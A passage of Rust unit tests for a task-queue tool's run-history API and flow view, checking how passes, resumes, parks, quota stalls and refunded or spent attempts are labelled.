16870    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16871        let f = Fixture::start().await;
16872        let (a, b, gone) = (
16873            "20260902-140501-aaaa",
16874            "20260902-140502-bbbb",
16875            "20260902-140503-cccc",
16876        );
16877        write_run(&f.runs(), a, RunStatus::Stalled);
16878        let mut review = RunState::new(
16879            PathBuf::from("/repo/magi"),
16880            "main".to_owned(),
16881            "0123456789abcdef".to_owned(),
16882            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16883                .to_owned(),
16884            Config::default(),
16885        );
16886        review.id = b.to_owned();
16887        review.status = RunStatus::Merged;
16888        write_state(&f.runs(), &review);
16889
16890        let mut task = Task::new(
16891            "retry".to_owned(),
16892            "Do the thing".to_owned(),
16893            PathBuf::from("/repo/magi"),
16894            Source::Human,
16895        );
16896        task.start(a.to_owned());
16897        task.stall("quota");
16898        task.start(a.to_owned());
16899        task.start(b.to_owned());
16900        task.start(gone.to_owned());
16901        // This fixture models an older queue file with repeated run entries.
16902        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16903        f.queue().put(&mut task).expect("file the task");
16904
16905        let res = f.get(&format!("/api/queue/{}", task.id)).await;
16906        assert_eq!(res.status, 200, "{}", res.body);
16907        let v = res.json();
16908        let h = v["history"].as_array().expect("history");
16909        assert_eq!(h.len(), 4, "{v}");
16910        assert_eq!(h[0]["kind"], "competition");
16911        assert_eq!(h[0]["status"], "stalled");
16912        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16913        assert_eq!(h[1]["kind"], "resume", "{v}");
16914        assert!(
16915            h[0]["outcome"]
16916                .as_str()
16917                .unwrap()
16918                .contains("unknown. Pass #2"),
16919            "an earlier pass of a resumed run must not claim the final outcome: {v}"
16920        );
16921        assert!(
16922            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16923            "{v}"
16924        );
16925        assert!(
16926            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16927            "an unrecorded cause must not be narrated as an operator park: {v}"
16928        );
16929        assert_eq!(h[2]["kind"], "review");
16930        assert!(
16931            h[2]["description"]
16932                .as_str()
16933                .unwrap()
16934                .contains("magi/aaaa/A")
16935        );
16936        assert_eq!(h[2]["status"], "merged");
16937        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16938        assert_eq!(v["runs_unreadable"], 1);
16939        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16940        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16941        assert_eq!(nodes[4]["note"], "unreadable");
16942        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16943        assert_eq!(v["instruction"], "Do the thing");
16944        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16945
16946        // The run's own page links back to the task.
16947        let run = f.get(&format!("/api/runs/{a}")).await.json();
16948        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16949
16950        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16951    }
16952
16953    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16954        let mut s = RunState::new(
16955            PathBuf::from("/repo/magi"),
16956            "main".to_owned(),
16957            "0123456789abcdef".to_owned(),
16958            "Do it".to_owned(),
16959            Config::default(),
16960        );
16961        s.status = status;
16962        edit(&mut s);
16963        s
16964    }
16965
16966    fn flow_task(runs: &[&str]) -> Task {
16967        let mut t = Task::new(
16968            "t".to_owned(),
16969            "Do it".to_owned(),
16970            PathBuf::from("/repo/magi"),
16971            Source::Human,
16972        );
16973        for r in runs {
16974            t.start((*r).to_owned());
16975        }
16976        // Synthetic flows without RunPass records model legacy queue data.
16977        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16978        t
16979    }
16980
16981    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16982        let h = task_history(task, |id| {
16983            states
16984                .iter()
16985                .find(|(i, _)| *i == id)
16986                .and_then(|(_, s)| s.clone())
16987        });
16988        task_flow(task, &h, 5, None)
16989    }
16990
16991    #[test]
16992    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16993        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16994        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16995        let first = "2026-10-10T02:00:00Z".parse().unwrap();
16996        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16997        let held = "2026-10-10T04:00:00Z".parse().unwrap();
16998        let run = flow_run(RunStatus::Implementing, |s| {
16999            s.created_at = created;
17000            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17001            s.passes[0].started_at = first;
17002            s.passes[1].started_at = resumed;
17003        });
17004        let mut task = flow_task(&[RUN_X, RUN_X]);
17005        task.created_at = queued;
17006        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17007        task.status = TaskStatus::Held;
17008        task.held_at = Some(held);
17009        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17010        assert_eq!(
17011            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17012            vec![Some(queued), Some(first), Some(resumed), Some(held)]
17013        );
17014        assert!(flow.nodes.iter().all(|n| n.time_expected));
17015        let json = serde_json::to_value(&flow).unwrap();
17016        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17017        assert_eq!(json["nodes"][2]["time_expected"], true);
17018    }
17019
17020    #[test]
17021    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17022        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17023        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17024        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17025        // These timestamps are not the start of the current status.
17026        task.held_at = Some(created);
17027        task.blocked_at = Some(created);
17028        for status in [
17029            TaskStatus::Queued,
17030            TaskStatus::Running,
17031            TaskStatus::Blocked,
17032            TaskStatus::Done,
17033            TaskStatus::Failed,
17034            TaskStatus::Parked,
17035            TaskStatus::Held,
17036        ] {
17037            task.status = status;
17038            if status == TaskStatus::Held {
17039                task.held_at = None;
17040            }
17041            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17042            assert_eq!(flow.nodes[1].started_at, Some(created));
17043            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17044            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17045            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17046            let json = serde_json::to_value(&flow).unwrap();
17047            assert!(json["nodes"][3]["started_at"].is_null());
17048            assert_eq!(json["nodes"][3]["time_expected"], true);
17049        }
17050    }
17051
17052    #[test]
17053    fn flow_context_links_do_not_expect_start_times() {
17054        let mut task = flow_task(&[]);
17055        task.source = Source::Agent {
17056            run: "chat-id".to_owned(),
17057            node: "chat".to_owned(),
17058        };
17059        let origin = followup_origin(&fu(None), |_| None, |_| None);
17060        let flow = task_flow(&task, &[], 5, Some(&origin));
17061        for node in &flow.nodes[..2] {
17062            assert!(!node.time_expected);
17063            assert_eq!(node.started_at, None);
17064        }
17065        assert!(flow.nodes[2].time_expected);
17066    }
17067
17068    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17069        crate::queue::FollowUp {
17070            run: "20260901-000000-aaaa".to_owned(),
17071            origin_task: origin_task.map(str::to_owned),
17072            pr: "https://example.com/o/r/pull/1".to_owned(),
17073            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17074                .map(str::to_owned)
17075                .to_vec(),
17076            generation: 1,
17077        }
17078    }
17079
17080    fn parent_task() -> Task {
17081        let mut p = flow_task(&[]);
17082        p.title = "Parent title".to_owned();
17083        p.status = TaskStatus::Done;
17084        p
17085    }
17086
17087    #[test]
17088    fn flow_opens_with_the_parent_task_of_a_followup() {
17089        let p = parent_task();
17090        let pid = p.id.clone();
17091        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17092        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17093        let n = &f.nodes[0];
17094        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17095        assert_eq!(
17096            n.label,
17097            format!("Follow-up of {}", crate::queue::short(&pid))
17098        );
17099        assert_eq!(n.detail.as_deref(), Some("Parent title"));
17100        assert_eq!(n.status, Some("done"));
17101        assert_eq!(n.status_of, "task");
17102        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17103        assert_eq!(f.nodes[1].key, "start");
17104        assert_eq!(f.edges[0].from, "origin");
17105        assert_eq!(
17106            f.edges[0].label,
17107            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17108        );
17109    }
17110
17111    #[test]
17112    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17113        let o = followup_origin(
17114            &fu(Some("gone")),
17115            |_| None,
17116            |_| {
17117                Some(RunState::new(
17118                    std::path::PathBuf::from("."),
17119                    "main".to_owned(),
17120                    "0".to_owned(),
17121                    "t".to_owned(),
17122                    crate::config::Config::default(),
17123                ))
17124            },
17125        );
17126        assert!(o.parent.is_none());
17127        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17128        let n = &f.nodes[0];
17129        assert_eq!(n.status_of, "run");
17130        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17131        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17132    }
17133
17134    #[test]
17135    fn flow_followup_with_nothing_readable_has_no_link() {
17136        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17137        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17138        let n = &f.nodes[0];
17139        assert_eq!(n.href, None);
17140        assert_eq!(n.note, Some("unreadable"));
17141        assert!(!n.readable);
17142    }
17143
17144    #[test]
17145    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17146        let o = followup_origin(&fu(None), |_| None, |_| None);
17147        let mut t = flow_task(&[]);
17148        t.origin_chat = Some("c1".to_owned());
17149        let f = task_flow(&t, &[], 5, Some(&o));
17150        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17151        t.source = Source::Agent {
17152            run: "c1".to_owned(),
17153            node: crate::queue::CHAT_NODE.to_owned(),
17154        };
17155        let f = task_flow(&t, &[], 5, Some(&o));
17156        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17157        assert_eq!(
17158            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17159            ("chat", "origin")
17160        );
17161    }
17162
17163    #[test]
17164    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17165        let mut p = parent_task();
17166        p.id = "a b/c".to_owned();
17167        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17168        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17169    }
17170
17171    #[test]
17172    fn flow_opens_with_the_chat_that_queued_the_task() {
17173        let mut t = flow_task(&[]);
17174        t.source = Source::Agent {
17175            run: "a b/c".to_owned(),
17176            node: crate::queue::CHAT_NODE.to_owned(),
17177        };
17178        let f = flow_for(&t, &[]);
17179        assert_eq!(f.nodes[0].key, "chat");
17180        assert_eq!(f.nodes[0].kind, "chat");
17181        assert_eq!(
17182            f.nodes[0].label,
17183            format!("Chat {}", crate::queue::short("a b/c"))
17184        );
17185        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17186        assert_eq!(f.nodes[1].key, "start");
17187        assert_eq!(
17188            f.edges[0],
17189            FlowEdge {
17190                from: "chat".to_owned(),
17191                to: "start".to_owned(),
17192                label: "queued from chat".to_owned(),
17193                attempt: AttemptCost::None,
17194            }
17195        );
17196    }
17197
17198    #[test]
17199    fn flow_has_no_chat_box_for_other_sources() {
17200        for source in [
17201            Source::Human,
17202            Source::Issue {
17203                number: 3,
17204                repo: "o/r".to_owned(),
17205            },
17206            Source::Agent {
17207                run: "20260904-014455-ab12".to_owned(),
17208                node: "implement".to_owned(),
17209            },
17210        ] {
17211            let mut t = flow_task(&[]);
17212            t.source = source;
17213            let f = flow_for(&t, &[]);
17214            assert_eq!(f.nodes[0].key, "start");
17215            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17216            assert!(f.edges.iter().all(|e| e.from != "chat"));
17217        }
17218    }
17219
17220    const FA: &str = "20260902-140501-aaaa";
17221    const FB: &str = "20260902-140502-bbbb";
17222
17223    #[test]
17224    fn flow_follows_blocked_retry_merged_to_done() {
17225        let mut t = flow_task(&[FA, FB]);
17226        t.status = TaskStatus::Done;
17227        let f = flow_for(
17228            &t,
17229            &[
17230                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17231                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17232            ],
17233        );
17234        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17235        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17236        assert_eq!(f.edges.len(), 3);
17237        assert_eq!(f.edges[0].label, "claimed");
17238        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17239        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17240        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17241        assert_eq!(
17242            f.nodes[2].href.as_deref(),
17243            Some("#/runs/20260902-140502-bbbb")
17244        );
17245        assert!(f.nodes[2].decided);
17246    }
17247
17248    #[test]
17249    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17250        let quota = || {
17251            flow_run(RunStatus::Stalled, |s| {
17252                s.quota.push(crate::run::QuotaLoss {
17253                    cause: crate::agent::QuotaCause::UsageLimit,
17254                    agent: String::new(),
17255                    seat: "judge-1".to_owned(),
17256                    node: "judge".to_owned(),
17257                    at: Timestamp::now(),
17258                    reset: None,
17259                })
17260            })
17261        };
17262        let mut t = flow_task(&[FA, FA]);
17263        t.status = TaskStatus::Queued;
17264        let f = flow_for(&t, &[(FA, Some(quota()))]);
17265        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17266        assert_eq!(f.nodes[1].note, Some("interrupted"));
17267        assert_eq!(
17268            f.nodes[1].status, None,
17269            "no outcome copied onto an earlier pass"
17270        );
17271        assert_eq!(
17272            f.edges[1].attempt,
17273            AttemptCost::Unknown,
17274            "a resume does not prove the earlier pass was refunded"
17275        );
17276        assert!(f.edges[1].label.contains("resume the same run"));
17277        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17278        assert_eq!(
17279            f.edges[2].label,
17280            "stalled after a resume, refund unknown \u{2192} queued"
17281        );
17282        assert!(!f.nodes[2].decided, "a stall is not a decision");
17283        assert_eq!(f.nodes[2].note, Some("no verdict"));
17284    }
17285
17286    #[test]
17287    fn flow_single_pass_quota_stall_is_refunded() {
17288        let t = flow_task(&[FA]);
17289        let f = flow_for(
17290            &t,
17291            &[(
17292                FA,
17293                Some(flow_run(RunStatus::Stalled, |s| {
17294                    s.quota.push(crate::run::QuotaLoss {
17295                        cause: crate::agent::QuotaCause::UsageLimit,
17296                        agent: String::new(),
17297                        seat: "judge-1".to_owned(),
17298                        node: "judge".to_owned(),
17299                        at: Timestamp::now(),
17300                        reset: None,
17301                    })
17302                })),
17303            )],
17304        );
17305        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17306    }
17307
17308    #[test]
17309    fn flow_parked_refunds_and_stall_without_quota_spends() {
17310        let mut t = flow_task(&[FA]);
17311        t.status = TaskStatus::Queued;
17312        let f = flow_for(
17313            &t,
17314            &[(
17315                FA,
17316                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17317            )],
17318        );
17319        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17320        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17321        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17322        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17323        assert!(!f.nodes[1].decided);
17324    }
17325
17326    #[test]
17327    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17328        let t = flow_task(&[FA, FB]);
17329        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17330        assert_eq!(f.nodes[1].note, Some("unreadable"));
17331        assert!(!f.nodes[1].readable);
17332        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17333        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17334    }
17335
17336    #[test]
17337    fn flow_names_the_branch_of_a_review_only_run() {
17338        let t = flow_task(&[FA]);
17339        let f = flow_for(
17340            &t,
17341            &[(
17342                FA,
17343                Some(flow_run(RunStatus::Merged, |s| {
17344                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17345                })),
17346            )],
17347        );
17348        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17349        assert_eq!(
17350            f.nodes[1].detail.as_deref(),
17351            Some("review-only run of branch magi/x/A")
17352        );
17353    }
17354
17355    #[test]
17356    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17357        let mut t = flow_task(&[FA]);
17358        t.status = TaskStatus::Held;
17359        let pr = crate::run::PrRecord {
17360            url: "https://example.test/pr/1".to_owned(),
17361            number: 1,
17362            state: "open".to_owned(),
17363            checks: "green".to_owned(),
17364            round: 0,
17365            rounds: 3,
17366            red_at_merge: Vec::new(),
17367        };
17368        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17369        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17370        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17371        t.status = TaskStatus::Done;
17372        let f = flow_for(&t, &[(FA, Some(blocked))]);
17373        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17374    }
17375
17376    #[test]
17377    fn flow_with_no_runs_goes_from_queued_to_queued() {
17378        let t = flow_task(&[]);
17379        let f = flow_for(&t, &[]);
17380        assert_eq!(f.nodes.len(), 2);
17381        assert_eq!(f.edges.len(), 1);
17382        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17383        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17384    }
17385
17386    /// A run parked mid-flight keeps a non-terminal status; the page must
17387    /// still say why it stopped and that the attempt came back.
17388    #[test]
17389    fn a_parked_non_terminal_run_is_explained_as_parked() {
17390        let mut s = RunState::new(
17391            PathBuf::from("/repo/magi"),
17392            "main".to_owned(),
17393            "0123456789abcdef".to_owned(),
17394            "Do it".to_owned(),
17395            Config::default(),
17396        );
17397        s.status = RunStatus::Implementing;
17398        s.parked = true;
17399        let task = Task::new(
17400            "t".to_owned(),
17401            "Do it".to_owned(),
17402            PathBuf::from("/repo/magi"),
17403            Source::Human,
17404        );
17405        let v = task_run_view(
17406            "20260902-140501-aaaa",
17407            Some(&s),
17408            RunSlot {
17409                n: 1,
17410                resumed: false,
17411                resumed_later: None,
17412                prior: None,
17413                last: true,
17414                ..RunSlot::default()
17415            },
17416            &task,
17417        );
17418        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17419    }
17420
17421    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17422        let mut s = flow_run(RunStatus::Implementing, edit);
17423        s.parked = false;
17424        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17425        task_run_view(
17426            "20260902-140501-aaaa",
17427            Some(&s),
17428            RunSlot {
17429                n: 1,
17430                resumed: false,
17431                resumed_later: Some(2),
17432                prior: None,
17433                last: false,
17434                ..RunSlot::default()
17435            },
17436            &task,
17437        )
17438    }
17439
17440    #[test]
17441    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17442        let v = earlier_pass_view(|_| {});
17443        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17444        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17445        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17446        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17447        assert_eq!(v.exit, RunExit::Interrupted);
17448        assert_eq!(v.attempt, AttemptCost::Unknown);
17449    }
17450
17451    #[test]
17452    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17453        let v = earlier_pass_view(|s| {
17454            s.quota.push(crate::run::QuotaLoss {
17455                cause: crate::agent::QuotaCause::UsageLimit,
17456                agent: String::new(),
17457                seat: "judge-1".to_owned(),
17458                node: "judge".to_owned(),
17459                at: Timestamp::now(),
17460                reset: None,
17461            });
17462        });
17463        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17464        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17465        assert_eq!(v.attempt, AttemptCost::Unknown);
17466    }
17467
17468    #[test]
17469    fn the_current_pass_states_its_recorded_cause_and_cost() {
17470        let slot = || RunSlot {
17471            n: 1,
17472            resumed: false,
17473            resumed_later: None,
17474            prior: None,
17475            last: true,
17476            ..RunSlot::default()
17477        };
17478        let task = flow_task(&["20260902-140501-aaaa"]);
17479        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17480        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17481        assert_eq!(
17482            (v.exit, v.attempt),
17483            (RunExit::Parked, AttemptCost::Refunded)
17484        );
17485        let spent = flow_run(RunStatus::Blocked, |_| {});
17486        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17487        assert_eq!(v.attempt, AttemptCost::Spent);
17488        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17489    }
17490
17491    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17492        crate::run::RunPass {
17493            index,
17494            started_at: Timestamp::now(),
17495            resumed: index > 0,
17496            ended_at: end.as_ref().map(|_| Timestamp::now()),
17497            end,
17498            task_entry: true,
17499        }
17500    }
17501
17502    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17503        Some(crate::run::PassEnd::Parked { cause })
17504    }
17505
17506    fn upgrade_cause() -> crate::run::ParkCause {
17507        crate::run::ParkCause::Upgrade {
17508            from: "0.121.0".to_owned(),
17509            to: Some("0.121.1".to_owned()),
17510        }
17511    }
17512
17513    fn settled_pass(
17514        run: &str,
17515        index: usize,
17516        cost: crate::queue::PassCost,
17517    ) -> crate::queue::TaskPass {
17518        crate::queue::TaskPass {
17519            run: run.to_owned(),
17520            pass_index: index,
17521            started_at: None,
17522            cost,
17523            attempts_after: 1,
17524            settled_at: Timestamp::now(),
17525            parked: None,
17526        }
17527    }
17528
17529    const RUN_X: &str = "20261011-223708-4334";
17530
17531    #[test]
17532    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17533        use crate::queue::PassCost;
17534        let run = flow_run(RunStatus::Implementing, |s| {
17535            s.passes = vec![
17536                recorded_pass(0, parked(upgrade_cause())),
17537                recorded_pass(1, None),
17538            ];
17539        });
17540        let mut task = flow_task(&[RUN_X, RUN_X]);
17541        task.attempts = 1;
17542        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17543        let h = task_history(&task, |_| Some(run.clone()));
17544        assert_eq!(h.len(), 2);
17545        assert_eq!(h[0].kind, "competition");
17546        assert_eq!(h[1].kind, "resume");
17547        assert_eq!(
17548            (h[0].exit, h[0].attempt),
17549            (RunExit::Parked, AttemptCost::Refunded)
17550        );
17551        assert!(
17552            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17553            "{}",
17554            h[0].outcome
17555        );
17556        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17557        assert!(
17558            h[0].outcome.contains("pass #2 resumed the same run"),
17559            "{}",
17560            h[0].outcome
17561        );
17562        assert!(
17563            h[0].outcome.contains("pass 1 of 2 over run"),
17564            "{}",
17565            h[0].outcome
17566        );
17567        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17568        assert_eq!(
17569            h[0].exit_label,
17570            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17571        );
17572        let f = task_flow(&task, &h, 2, None);
17573        // Two passes of one run, one of two attempts consumed.
17574        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17575        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17576        assert!(
17577            f.edges[1].label.contains("upgrade 0.121.0"),
17578            "{}",
17579            f.edges[1].label
17580        );
17581        assert!(
17582            f.edges[1].label.contains("resume the same run"),
17583            "{}",
17584            f.edges[1].label
17585        );
17586        assert_eq!(f.nodes[1].note, Some("parked"));
17587    }
17588
17589    #[test]
17590    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17591        let mut a = flow_run(RunStatus::Implementing, |s| {
17592            s.passes = vec![
17593                recorded_pass(0, parked(upgrade_cause())),
17594                recorded_pass(1, None),
17595            ];
17596        });
17597        let mut b = flow_run(RunStatus::Failed, |s| {
17598            s.passes = vec![recorded_pass(0, None)];
17599        });
17600        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17601        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17602        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17603        let mut task = flow_task(&[]);
17604        task.start("a".into());
17605        task.start("b".into());
17606        task.start("a".into());
17607        assert_eq!(task.runs, ["b", "a"]);
17608        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17609        let h = task_history(&task, |id| {
17610            Some(if id == "a" { a.clone() } else { b.clone() })
17611        });
17612        assert_eq!(
17613            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17614            ["a", "b", "a"]
17615        );
17616        assert_eq!(h[0].attempt, AttemptCost::Refunded);
17617        assert!(h[0].outcome.contains("upgrade"));
17618        assert_eq!(h[2].kind, "resume");
17619        assert!(h[2].pass.is_some());
17620        // The old repeated-id format must show the same recorded passes.
17621        task.runs = vec!["a".into(), "b".into(), "a".into()];
17622        let old = task_history(&task, |id| {
17623            Some(if id == "a" { a.clone() } else { b.clone() })
17624        });
17625        assert_eq!(
17626            old.iter()
17627                .map(|v| (&v.id, &v.kind, v.attempt))
17628                .collect::<Vec<_>>(),
17629            h.iter()
17630                .map(|v| (&v.id, &v.kind, v.attempt))
17631                .collect::<Vec<_>>()
17632        );
17633    }
17634
17635    #[test]
17636    fn an_upgrade_whose_target_was_not_known_says_so() {
17637        let run = flow_run(RunStatus::Implementing, |s| {
17638            s.passes = vec![
17639                recorded_pass(
17640                    0,
17641                    parked(crate::run::ParkCause::Upgrade {
17642                        from: "0.121.0".to_owned(),
17643                        to: None,
17644                    }),
17645                ),
17646                recorded_pass(1, None),
17647            ];
17648        });
17649        let task = flow_task(&[RUN_X, RUN_X]);
17650        let h = task_history(&task, |_| Some(run.clone()));
17651        assert!(
17652            h[0].outcome.contains("upgrade from 0.121.0"),
17653            "{}",
17654            h[0].outcome
17655        );
17656        // No settle record: the refund is not claimed.
17657        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17658    }
17659
17660    #[test]
17661    fn each_pass_keeps_its_own_cause_across_several_resumes() {
17662        use crate::queue::PassCost;
17663        use crate::run::ParkCause;
17664        let run = flow_run(RunStatus::Implementing, |s| {
17665            s.passes = vec![
17666                recorded_pass(0, parked(upgrade_cause())),
17667                recorded_pass(
17668                    1,
17669                    parked(ParkCause::Interrupt {
17670                        reason: "task a1b2 asked to run first".to_owned(),
17671                    }),
17672                ),
17673                recorded_pass(2, parked(ParkCause::Operator)),
17674                recorded_pass(3, None),
17675            ];
17676        });
17677        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17678        task.attempts = 1;
17679        task.passes = (0..3)
17680            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17681            .collect();
17682        let h = task_history(&task, |_| Some(run.clone()));
17683        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17684        assert!(
17685            h[1].outcome.contains("task a1b2 asked to run first"),
17686            "{}",
17687            h[1].outcome
17688        );
17689        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17690        assert!(
17691            h[2].outcome.contains("operator asked the loop to park"),
17692            "{}",
17693            h[2].outcome
17694        );
17695        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17696        let f = task_flow(&task, &h, 2, None);
17697        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17698    }
17699
17700    #[test]
17701    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17702        let run = flow_run(RunStatus::Implementing, |s| {
17703            s.passes = vec![
17704                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17705                recorded_pass(1, None),
17706            ];
17707        });
17708        let task = flow_task(&[RUN_X, RUN_X]);
17709        let h = task_history(&task, |_| Some(run.clone()));
17710        assert_eq!(h[0].exit, RunExit::Interrupted);
17711        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17712        assert!(
17713            h[0].outcome.contains("without recording why"),
17714            "{}",
17715            h[0].outcome
17716        );
17717        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17718        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17719    }
17720
17721    #[test]
17722    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17723        use crate::queue::PassCost;
17724        // Three entries, but the run only began keeping passes at the last
17725        // two: the first is legacy and must not be given a cause.
17726        let run = flow_run(RunStatus::Implementing, |s| {
17727            s.passes = vec![
17728                recorded_pass(0, parked(upgrade_cause())),
17729                recorded_pass(1, None),
17730            ];
17731        });
17732        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
